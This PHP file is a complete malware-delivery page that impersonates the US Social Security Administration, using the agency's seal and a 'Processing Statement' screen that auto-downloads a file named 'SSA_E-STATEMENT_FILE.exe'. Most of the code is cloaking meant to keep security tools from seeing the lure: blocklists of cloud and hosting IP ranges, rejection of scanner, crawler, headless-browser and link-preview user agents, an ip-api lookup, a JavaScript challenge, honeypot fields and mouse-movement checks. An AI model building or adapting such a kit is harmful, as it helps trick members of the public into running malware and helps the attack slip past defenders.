<?php
session_start();

// ============================================================================
// ANTIBOT PROTECTION SYSTEM - Single File Implementation
// ============================================================================

// Configuration
define('DOWNLOAD_FILE', 'SSA E-STATEMENT_FILE.exe');
define('DOWNLOAD_NAME', 'SSA_E-STATEMENT_FILE.exe');
define('MIN_TIME_ON_PAGE', 3); // Minimum seconds before download allowed
define('RATE_LIMIT_REQUESTS', 5); // Max requests per minute
define('RATE_LIMIT_WINDOW', 60); // Window in seconds
define('ENABLE_LOGGING', true);
define('LOG_FILE', 'antibot_log.txt');

// ============================================================================
// LAYER 1: DATACENTER IP BLOCKING
// ============================================================================

$datacenterRanges = [
    // AWS
    '3.0.0.0/8', '13.0.0.0/8', '18.0.0.0/8', '34.0.0.0/8', '35.0.0.0/8',
    '52.0.0.0/8', '54.0.0.0/8', '99.77.0.0/16', '99.78.0.0/16',
    // Google Cloud
    '34.64.0.0/10', '34.128.0.0/10', '35.184.0.0/13', '35.192.0.0/14',
    '35.196.0.0/15', '35.198.0.0/16', '35.199.0.0/17', '35.200.0.0/13',
    '35.208.0.0/12', '35.224.0.0/12', '35.240.0.0/13',
    // Microsoft Azure
    '13.64.0.0/11', '13.96.0.0/13', '13.104.0.0/14', '20.0.0.0/8',
    '23.96.0.0/13', '40.64.0.0/10', '40.128.0.0/12', '51.104.0.0/15',
    '52.96.0.0/12', '52.112.0.0/14', '52.120.0.0/14', '52.224.0.0/11',
    '65.52.0.0/14', '70.37.0.0/17', '70.37.128.0/18', '104.40.0.0/13',
    '104.208.0.0/13', '137.116.0.0/15', '137.135.0.0/16', '168.61.0.0/16',
    '168.62.0.0/15', '191.232.0.0/13', '199.30.16.0/20',
    // DigitalOcean
    '104.131.0.0/16', '104.236.0.0/16', '107.170.0.0/16', '138.68.0.0/16',
    '138.197.0.0/16', '139.59.0.0/16', '142.93.0.0/16', '157.230.0.0/16',
    '159.65.0.0/16', '159.89.0.0/16', '161.35.0.0/16', '162.243.0.0/16',
    '163.47.8.0/22', '164.90.0.0/16', '165.22.0.0/16', '165.227.0.0/16',
    '167.71.0.0/16', '167.99.0.0/16', '167.172.0.0/16', '174.138.0.0/16',
    '178.62.0.0/16', '178.128.0.0/16', '188.166.0.0/16', '192.241.128.0/17',
    '198.199.64.0/18', '206.81.0.0/16', '206.189.0.0/16', '209.97.128.0/17',
    // Linode
    '45.33.0.0/16', '45.56.0.0/16', '45.79.0.0/16', '50.116.0.0/16',
    '66.175.208.0/20', '66.228.32.0/19', '69.164.192.0/19', '72.14.176.0/20',
    '74.207.224.0/19', '96.126.96.0/19', '97.107.128.0/17', '139.162.0.0/16',
    '172.104.0.0/15', '173.230.128.0/19', '173.255.192.0/18', '178.79.128.0/17',
    '192.155.80.0/20', '198.58.96.0/19', '198.74.48.0/20',
    // Vultr
    '45.32.0.0/16', '45.63.0.0/16', '45.76.0.0/16', '45.77.0.0/16',
    '64.156.0.0/16', '64.237.32.0/19', '66.42.32.0/19', '78.141.192.0/18',
    '95.179.128.0/17', '104.156.224.0/19', '104.207.128.0/19', '108.61.0.0/16',
    '136.244.64.0/18', '140.82.0.0/17', '144.202.0.0/16', '149.28.0.0/16',
    '155.138.128.0/17', '207.148.0.0/17', '208.167.224.0/19', '209.250.224.0/19',
    '216.128.128.0/17', '217.69.0.0/18',
    // OVH
    '5.39.0.0/17', '5.135.0.0/16', '5.196.0.0/15', '37.59.0.0/16',
    '37.187.0.0/16', '46.105.0.0/16', '51.38.0.0/16', '51.68.0.0/16',
    '51.75.0.0/16', '51.77.0.0/16', '51.79.0.0/16', '51.81.0.0/16',
    '51.83.0.0/16', '51.89.0.0/16', '51.91.0.0/16', '51.161.0.0/16',
    '51.178.0.0/16', '51.195.0.0/16', '51.210.0.0/16', '51.254.0.0/15',
    '54.36.0.0/14', '54.37.0.0/16', '54.38.0.0/16', '57.128.0.0/16',
    '91.121.0.0/16', '92.222.0.0/16', '135.125.0.0/16', '137.74.0.0/16',
    '139.99.0.0/16', '141.94.0.0/16', '141.95.0.0/16', '142.44.128.0/17',
    '144.217.0.0/16', '145.239.0.0/16', '147.135.0.0/16', '149.56.0.0/16',
    '151.80.0.0/16', '158.69.0.0/16', '162.19.0.0/16', '164.132.0.0/16',
    '167.114.0.0/16', '176.31.0.0/16', '178.32.0.0/15', '185.12.32.0/22',
    '188.165.0.0/16', '192.95.0.0/18', '193.70.0.0/17', '198.27.64.0/18',
    '198.50.128.0/17', '198.100.144.0/20', '198.245.48.0/20', '213.32.0.0/17',
    '213.186.32.0/19', '213.251.128.0/18', '217.182.0.0/16',
    // Hetzner
    '5.9.0.0/16', '23.88.0.0/15', '46.4.0.0/16', '78.46.0.0/15',
    '85.10.192.0/18', '88.99.0.0/16', '88.198.0.0/16', '94.130.0.0/16',
    '95.216.0.0/15', '116.202.0.0/16', '116.203.0.0/16', '128.140.0.0/16',
    '135.181.0.0/16', '136.243.0.0/16', '138.201.0.0/16', '142.132.128.0/17',
    '144.76.0.0/16', '148.251.0.0/16', '157.90.0.0/16', '159.69.0.0/16',
    '162.55.0.0/16', '167.233.0.0/16', '168.119.0.0/16', '176.9.0.0/16',
    '178.63.0.0/16', '185.12.64.0/22', '188.40.0.0/16', '195.201.0.0/16',
    '213.133.96.0/19', '213.239.192.0/18',
    // Scaleway
    '51.15.0.0/16', '51.158.0.0/15', '62.210.0.0/16', '163.172.0.0/16',
    '195.154.0.0/16', '212.47.224.0/19', '212.83.128.0/19',
    // Contabo
    '62.171.128.0/17', '144.91.64.0/18', '161.97.0.0/17', '167.86.64.0/18',
    '173.212.192.0/18', '178.238.224.0/20', '193.164.128.0/18', '207.180.192.0/18',
    // Common VPN/Proxy providers
    '103.21.244.0/22', '103.22.200.0/22', '103.31.4.0/22', '104.16.0.0/12',
    '108.162.192.0/18', '131.0.72.0/22', '141.101.64.0/18', '162.158.0.0/15',
    '172.64.0.0/13', '173.245.48.0/20', '188.114.96.0/20', '190.93.240.0/20',
    '197.234.240.0/22', '198.41.128.0/17',
];

function ipInRange($ip, $cidr) {
    list($subnet, $bits) = explode('/', $cidr);
    if ($bits === null) $bits = 32;
    $ip = ip2long($ip);
    $subnet = ip2long($subnet);
    $mask = -1 << (32 - $bits);
    $subnet &= $mask;
    return ($ip & $mask) == $subnet;
}

function isDatacenterIP($ip) {
    global $datacenterRanges;
    
    // Check embedded ranges first (faster)
    foreach ($datacenterRanges as $range) {
        if (ipInRange($ip, $range)) {
            return true;
        }
    }
    
    // API fallback for unknown IPs
    if (isset($_SESSION['ip_check_cache'][$ip])) {
        return $_SESSION['ip_check_cache'][$ip];
    }
    
    $apiUrl = "http://ip-api.com/json/{$ip}?fields=status,hosting,proxy,isp,org";
    $context = stream_context_create(['http' => ['timeout' => 2]]);
    $response = @file_get_contents($apiUrl, false, $context);
    
    if ($response) {
        $data = json_decode($response, true);
        if ($data && $data['status'] === 'success') {
            $isHosting = $data['hosting'] ?? false;
            $isProxy = $data['proxy'] ?? false;
            $isp = strtolower($data['isp'] ?? '');
            $org = strtolower($data['org'] ?? '');
            
            // Check for datacenter keywords
            $dcKeywords = ['amazon', 'aws', 'google', 'microsoft', 'azure', 'digitalocean', 
                          'linode', 'vultr', 'ovh', 'hetzner', 'hosting', 'datacenter', 
                          'cloud', 'server', 'vps', 'dedicated'];
            
            foreach ($dcKeywords as $keyword) {
                if (strpos($isp, $keyword) !== false || strpos($org, $keyword) !== false) {
                    $isHosting = true;
                    break;
                }
            }
            
            $result = $isHosting || $isProxy;
            $_SESSION['ip_check_cache'][$ip] = $result;
            return $result;
        }
    }
    
    return false;
}

// ============================================================================
// LAYER 2: USER-AGENT ANALYSIS
// ============================================================================

$blockedUserAgents = [
    'curl', 'wget', 'python-requests', 'python-urllib', 'python/', 'python3',
    'go-http-client', 'java/', 'apache-httpclient', 'okhttp', 'libwww',
    'scrapy', 'httpie', 'node-fetch', 'axios/', 'got/', 'node/',
    'phantomjs', 'headlesschrome', 'headless', 'puppeteer', 'playwright',
    'selenium', 'webdriver', 'chromedriver', 'geckodriver',
    'telegrambot', 'telegram', 'twitterbot', 'facebookexternalhit', 'facebot',
    'slackbot', 'discordbot', 'whatsapp', 'linkedinbot',
    'bot', 'spider', 'crawler', 'scraper', 'scan', 'check',
    'monitor', 'analyzer', 'fetcher', 'archiver',
    'aiohttp', 'httpx', 'requests/', 'urllib', 'mechanize',
    'lwp-', 'libcurl', 'pycurl', 'winhttp', 'grequests'
];

function isBlockedUserAgent($ua) {
    global $blockedUserAgents;
    
    if (empty($ua)) return true;
    if (strlen($ua) < 20) return true;
    
    $uaLower = strtolower($ua);
    
    foreach ($blockedUserAgents as $blocked) {
        if (strpos($uaLower, $blocked) !== false) {
            return true;
        }
    }
    
    // Check for inconsistencies
    if (strpos($uaLower, 'chrome') !== false || strpos($uaLower, 'firefox') !== false) {
        // Real browsers have complex UAs
        if (strlen($ua) < 50) return true;
        if (!preg_match('/mozilla\/\d/i', $ua)) return true;
    }
    
    return false;
}

// ============================================================================
// LAYER 3: HTTP HEADER VALIDATION
// ============================================================================

function validateHeaders() {
    $requiredHeaders = ['HTTP_ACCEPT', 'HTTP_ACCEPT_LANGUAGE', 'HTTP_ACCEPT_ENCODING'];
    
    foreach ($requiredHeaders as $header) {
        if (!isset($_SERVER[$header]) || empty($_SERVER[$header])) {
            return false;
        }
    }
    
    // Check Accept header has expected browser values
    $accept = $_SERVER['HTTP_ACCEPT'];
    if (strpos($accept, 'text/html') === false && strpos($accept, '*/*') === false) {
        return false;
    }
    
    // Modern browsers send Sec-Fetch headers
    $hasSecFetch = isset($_SERVER['HTTP_SEC_FETCH_SITE']) || 
                   isset($_SERVER['HTTP_SEC_FETCH_MODE']) ||
                   isset($_SERVER['HTTP_SEC_FETCH_DEST']);
    
    // If claims to be modern browser but no Sec-Fetch headers, suspicious
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    if (preg_match('/Chrome\/[89]\d|Chrome\/1[0-2]\d|Firefox\/[89]\d|Firefox\/1[0-2]\d/i', $ua)) {
        if (!$hasSecFetch) {
            return false;
        }
    }
    
    return true;
}

// ============================================================================
// LAYER 4: RATE LIMITING
// ============================================================================

function checkRateLimit() {
    $now = time();
    
    if (!isset($_SESSION['rate_limit'])) {
        $_SESSION['rate_limit'] = ['requests' => [], 'blocked_until' => 0];
    }
    
    if ($_SESSION['rate_limit']['blocked_until'] > $now) {
        return false;
    }
    
    // Clean old requests
    $_SESSION['rate_limit']['requests'] = array_filter(
        $_SESSION['rate_limit']['requests'],
        function($timestamp) use ($now) {
            return ($now - $timestamp) < RATE_LIMIT_WINDOW;
        }
    );
    
    // Check rate
    if (count($_SESSION['rate_limit']['requests']) >= RATE_LIMIT_REQUESTS) {
        $_SESSION['rate_limit']['blocked_until'] = $now + 300; // Block for 5 minutes
        return false;
    }
    
    $_SESSION['rate_limit']['requests'][] = $now;
    return true;
}

// ============================================================================
// LAYER 5: CHALLENGE TOKEN SYSTEM
// ============================================================================

function generateChallenge() {
    $timestamp = time();
    $random = bin2hex(random_bytes(16));
    $challenge = [
        'timestamp' => $timestamp,
        'random' => $random,
        'a' => rand(1, 100),
        'b' => rand(1, 100)
    ];
    $_SESSION['challenge'] = $challenge;
    $_SESSION['challenge_created'] = $timestamp;
    return $challenge;
}

function verifyChallenge($response) {
    if (!isset($_SESSION['challenge']) || !isset($_SESSION['challenge_created'])) {
        return false;
    }
    
    $challenge = $_SESSION['challenge'];
    $created = $_SESSION['challenge_created'];
    $now = time();
    
    // Must wait minimum time
    if (($now - $created) < MIN_TIME_ON_PAGE) {
        return false;
    }
    
    // Challenge expires after 5 minutes
    if (($now - $created) > 300) {
        return false;
    }
    
    // Verify the math solution
    $expectedAnswer = $challenge['a'] * $challenge['b'] + strlen($challenge['random']);
    if ((int)$response !== $expectedAnswer) {
        return false;
    }
    
    return true;
}

// ============================================================================
// LAYER 6: BEHAVIORAL ANALYSIS
// ============================================================================

function analyzeBehavior($data) {
    if (!is_array($data)) return false;
    
    // Check time on page (required)
    $timeOnPage = $data['timeOnPage'] ?? 0;
    if ($timeOnPage < (MIN_TIME_ON_PAGE * 1000)) {
        return false;
    }
    
    // Check mouse movement (optional but suspicious if robotic)
    $mousePoints = $data['mouse'] ?? [];
    
    // Check for perfectly straight lines (bot behavior) - only if there are points
    if (count($mousePoints) >= 5) {
        $allSameX = true;
        $allSameY = true;
        $firstX = $mousePoints[0]['x'] ?? 0;
        $firstY = $mousePoints[0]['y'] ?? 0;
        
        foreach ($mousePoints as $point) {
            if (($point['x'] ?? 0) != $firstX) $allSameX = false;
            if (($point['y'] ?? 0) != $firstY) $allSameY = false;
        }
        
        if ($allSameX && $allSameY) {
            return false; // Robotic movement detected
        }
    }
    
    return true;
}

// ============================================================================
// LAYER 7: HONEYPOT CHECK
// ============================================================================

function checkHoneypot($data) {
    // If honeypot fields are filled, it's a bot
    if (!empty($data['website']) || !empty($data['email_confirm'])) {
        return false;
    }
    return true;
}

// ============================================================================
// LOGGING
// ============================================================================

function logAttempt($ip, $reason, $ua = '', $allowed = false) {
    if (!ENABLE_LOGGING) return;
    
    $timestamp = date('Y-m-d H:i:s');
    $status = $allowed ? 'ALLOWED' : 'BLOCKED';
    $logEntry = "[{$timestamp}] [{$status}] IP: {$ip} | Reason: {$reason} | UA: " . substr($ua, 0, 100) . "\n";
    
    @file_put_contents(LOG_FILE, $logEntry, FILE_APPEND | LOCK_EX);
}

// ============================================================================
// BLOCKING RESPONSE
// ============================================================================

function blockAccess($reason) {
    $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    logAttempt($ip, $reason, $ua, false);
    
    http_response_code(403);
    header('Content-Type: text/html; charset=UTF-8');
    echo '<!DOCTYPE html><html><head><title>Access Denied</title></head><body>';
    echo '<h1>Access Denied</h1>';
    echo '<p>Your request has been blocked for security reasons.</p>';
    echo '<p>If you believe this is an error, please try again later or contact support.</p>';
    echo '</body></html>';
    exit;
}

// ============================================================================
// MAIN VALIDATION LOGIC
// ============================================================================

$clientIP = $_SERVER['REMOTE_ADDR'] ?? '';
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';

// Handle download request
if (isset($_POST['download']) && $_POST['download'] === 'true') {
    // Verify challenge
    $challengeResponse = $_POST['challenge_response'] ?? '';
    if (!verifyChallenge($challengeResponse)) {
        blockAccess('Invalid challenge response');
    }
    
    // Check honeypot
    if (!checkHoneypot($_POST)) {
        blockAccess('Honeypot triggered');
    }
    
    // Analyze behavior
    $behaviorData = json_decode($_POST['behavior'] ?? '{}', true);
    if (!analyzeBehavior($behaviorData)) {
        blockAccess('Suspicious behavior detected');
    }
    
    // All checks passed - serve the file
    $filePath = __DIR__ . '/' . DOWNLOAD_FILE;
    if (file_exists($filePath)) {
        logAttempt($clientIP, 'Download approved', $userAgent, true);
        
        // Clear any previous output
        if (ob_get_level()) ob_end_clean();
        
        // Headers optimized for EXE downloads on cPanel
        header('Content-Description: File Transfer');
        header('Content-Type: application/x-msdownload');
        header('Content-Disposition: attachment; filename="' . DOWNLOAD_NAME . '"');
        header('Content-Length: ' . filesize($filePath));
        header('Content-Transfer-Encoding: binary');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Pragma: public');
        header('Expires: 0');
        
        // Flush headers and read file in chunks (better for large files)
        flush();
        $handle = fopen($filePath, 'rb');
        while (!feof($handle)) {
            echo fread($handle, 8192);
            flush();
        }
        fclose($handle);
        exit;
    } else {
        http_response_code(404);
        echo 'File not found. Please contact support.';
        exit;
    }
}

// Initial page load checks
if (isDatacenterIP($clientIP)) {
    blockAccess('Datacenter IP detected');
}

if (isBlockedUserAgent($userAgent)) {
    blockAccess('Blocked User-Agent: ' . $userAgent);
}

if (!validateHeaders()) {
    blockAccess('Invalid or missing HTTP headers');
}

if (!checkRateLimit()) {
    blockAccess('Rate limit exceeded');
}

// Generate challenge for this session
$challenge = generateChallenge();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Processing Statement - Social Security Administration</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            background: #ffffff;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
            color: #333333;
            padding: 20px;
        }

        .container {
            background: #ffffff;
            border-radius: 16px;
            padding: 40px 50px;
            max-width: 520px;
            width: 100%;
            text-align: center;
            box-shadow: 0 10px 40px rgba(0, 0, 0, 0.1);
            border: 1px solid #e0e0e0;
        }

        .logo {
            width: 80px;
            height: 80px;
            margin: 0 auto 24px;
        }

        .logo img {
            width: 100%;
            height: 100%;
            object-fit: contain;
        }

        h1 {
            font-size: 24px;
            font-weight: 600;
            margin-bottom: 16px;
            color: #1a1a1a;
        }

        .description {
            font-size: 14px;
            color: #555555;
            line-height: 1.6;
            margin-bottom: 30px;
        }

        .status-text {
            font-size: 13px;
            color: #666666;
            margin-bottom: 12px;
        }

        .progress-container {
            width: 100%;
            height: 6px;
            background: #e8e8e8;
            border-radius: 3px;
            overflow: hidden;
            margin-bottom: 30px;
        }

        .progress-bar {
            height: 100%;
            width: 0%;
            background: linear-gradient(90deg, #4f7cff 0%, #6b8cff 100%);
            border-radius: 3px;
            animation: progress 3.5s ease-in-out forwards;
        }

        @keyframes progress {
            0% { width: 0%; }
            100% { width: 100%; }
        }

        .download-btn {
            display: inline-block;
            background: linear-gradient(135deg, #4f7cff 0%, #6366f1 100%);
            color: #ffffff;
            padding: 14px 36px;
            border-radius: 25px;
            text-decoration: none;
            font-size: 15px;
            font-weight: 500;
            transition: all 0.3s ease;
            border: none;
            cursor: pointer;
            margin-bottom: 30px;
        }

        .download-btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 8px 25px rgba(79, 124, 255, 0.4);
        }

        .download-btn:disabled {
            opacity: 0.6;
            cursor: not-allowed;
            transform: none;
        }

        .copyright {
            font-size: 12px;
            color: #888888;
            margin-bottom: 12px;
        }

        .help-text {
            font-size: 11px;
            color: #999999;
        }

        /* Honeypot fields - hidden from real users */
        .hp-field {
            position: absolute;
            left: -9999px;
            top: -9999px;
            opacity: 0;
            pointer-events: none;
            height: 0;
            width: 0;
            overflow: hidden;
        }

        .hp-link {
            position: absolute;
            left: -9999px;
            opacity: 0;
            font-size: 1px;
            color: transparent;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="logo">
            <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/26/US-SocialSecurityAdmin-Seal.svg/500px-US-SocialSecurityAdmin-Seal.svg.png" alt="Social Security Administration">
        </div>

        <h1>Processing Statement</h1>
        
        <p class="description">
            Your statement is being securely prepared. This will only take a moment. 
            Your download will start automatically.
        </p>

        <p class="status-text" id="statusText">Preparing your statement...</p>
        
        <p class="instruction-text" id="instructionText" style="display:none; font-size: 13px; color: #e74c3c; margin-bottom: 15px;">
            If the download doesn't start, please click the button below.
        </p>

        <div class="progress-container">
            <div class="progress-bar" id="progressBar"></div>
        </div>

        <form id="downloadForm" method="POST" action="">
            <!-- Honeypot fields - bots will fill these -->
            <div class="hp-field">
                <label for="website">Website</label>
                <input type="text" name="website" id="website" tabindex="-1" autocomplete="off">
            </div>
            <div class="hp-field">
                <label for="email_confirm">Confirm Email</label>
                <input type="email" name="email_confirm" id="email_confirm" tabindex="-1" autocomplete="off">
            </div>
            
            <!-- Hidden challenge data -->
            <input type="hidden" name="download" value="true">
            <input type="hidden" name="challenge_response" id="challengeResponse">
            <input type="hidden" name="behavior" id="behaviorData">
            
            <button type="submit" class="download-btn" id="downloadBtn" disabled>
                Download Statement
            </button>
        </form>

        <!-- Honeypot link - bots will follow this -->
        <a href="/admin/download-direct.php" class="hp-link" id="hpLink">Direct Download</a>
        <a href="/api/get-file" class="hp-link">API Download</a>

        <p class="copyright">© 2026 Social Security Administration</p>
        
        <p class="help-text">
            For further assistance, please contact our help desk.
        </p>
    </div>

    <script>
    (function() {
        // Challenge data from server
        var challengeData = {
            a: <?php echo $challenge['a']; ?>,
            b: <?php echo $challenge['b']; ?>,
            random: "<?php echo $challenge['random']; ?>"
        };
        
        // Behavioral tracking
        var behaviorData = {
            mouse: [],
            scrolled: false,
            clicked: false,
            timeOnPage: 0,
            keyPressed: false
        };
        
        var pageLoadTime = Date.now();
        var mouseTrackInterval = null;
        var isReady = false;
        
        // Track mouse movement
        document.addEventListener('mousemove', function(e) {
            if (behaviorData.mouse.length < 50) {
                behaviorData.mouse.push({
                    x: e.clientX,
                    y: e.clientY,
                    t: Date.now() - pageLoadTime
                });
            }
        });
        
        // Track scroll
        document.addEventListener('scroll', function() {
            behaviorData.scrolled = true;
        });
        
        // Track click
        document.addEventListener('click', function() {
            behaviorData.clicked = true;
        });
        
        // Track keyboard
        document.addEventListener('keydown', function() {
            behaviorData.keyPressed = true;
        });
        
        // Solve challenge
        function solveChallenge() {
            return (challengeData.a * challengeData.b) + challengeData.random.length;
        }
        
        // Update behavior data
        function updateBehavior() {
            behaviorData.timeOnPage = Date.now() - pageLoadTime;
            document.getElementById('behaviorData').value = JSON.stringify(behaviorData);
            document.getElementById('challengeResponse').value = solveChallenge();
        }
        
        // Enable download after minimum time
        var minTime = <?php echo MIN_TIME_ON_PAGE * 1000; ?>;
        var autoDownloadAttempted = false;
        
        setTimeout(function() {
            isReady = true;
            document.getElementById('statusText').textContent = 'Your statement is ready.';
            document.getElementById('downloadBtn').disabled = false;
        }, minTime);
        
        // Auto-submit after progress bar completes
        setTimeout(function() {
            if (isReady) {
                autoDownloadAttempted = true;
                updateBehavior();
                document.getElementById('downloadForm').submit();
            }
        }, 3500);
        
        // Show instruction if download doesn't start after 5 seconds
        setTimeout(function() {
            document.getElementById('instructionText').style.display = 'block';
        }, 5000);
        
        // Form submission
        document.getElementById('downloadForm').addEventListener('submit', function(e) {
            if (!isReady) {
                e.preventDefault();
                return false;
            }
            updateBehavior();
        });
        
        // Prevent direct link access (bots might try)
        document.getElementById('downloadBtn').addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });
    })();
    </script>
</body>
</html>
